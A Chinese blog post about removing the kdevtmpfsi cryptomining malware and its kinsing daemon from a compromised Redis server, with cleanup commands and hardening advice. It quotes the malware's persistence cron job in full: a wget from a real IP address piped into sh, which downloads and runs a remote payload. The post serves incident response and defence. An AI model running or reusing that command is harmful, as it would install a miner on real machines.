1. 程式人生 > 實用技巧 >徹底清除redis kdevtmpfsi (挖礦病毒)

徹底清除redis kdevtmpfsi (挖礦病毒)

最近公司伺服器上redis總是過幾天就斷一次,之前一直好好的,然後就上伺服器上去看。一看發現記憶體佔用變成92%,然後有兩個cpu佔用100%。使用top命令檢視後,發現redis有兩個程序佔了很大資源,這兩個程序就是kdevtmpfsi。

然後就開始百度,百度結果是先停止kdevtmpfsi的守護程序kinsing,然後再停止kdevtmpfsi。最後去tmp目錄下把這兩個檔案都刪除了。並使用crontab -l來檢視有無定時任務,結果沒發現。然後以為就可以了,結果過了兩個小時,這個病毒又復活了。

最後又百度才發現,crontab -l這個命令並不是列出所有使用者的定時任務,再次檢視kdevtmpfsi的執行狀態,發現是redis使用者,於是使用crontab -l -u redis。終於發現了有問題的定時任務。然後刪除了它,再重複上面過程,到現在已經過了2天,病毒沒再出現。

病毒定時任務:
wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1

用到的命令如下

1. top //顯示或管理執行中的程式
2. ps -ef |grep kdevtmpfsi //檢視kdevtmpfsi程序資訊,記錄它pid和使用者
3. ps -ef |grep kinsing //檢視kinsing 程序資訊,記錄它pid和使用者
4. crontab -l -u redis //檢視對應使用者的定時任務,如果2,3命令反饋結果對應使用者是redis,就像這條命令一樣
5. crontab -e -u redis //編輯定時任務,刪除病毒的定時任務
6. kill -9 [pid] //把[pid]替換城2,3命令記錄的pid,先執行kinsing的pid,再執行kdevtmpfsi的pid
7. rm -rf /tmp/kdevtmpfsi //刪除kdevtmpfsi
8. rm -rf /tmp/kinsing //刪除kdevtmpfsi

最後最重要的還是要注意redis安全問題,不然以後還是可能中病毒。一定要記得改redis預設埠,設定redis密碼,然後設定為只能內網訪問。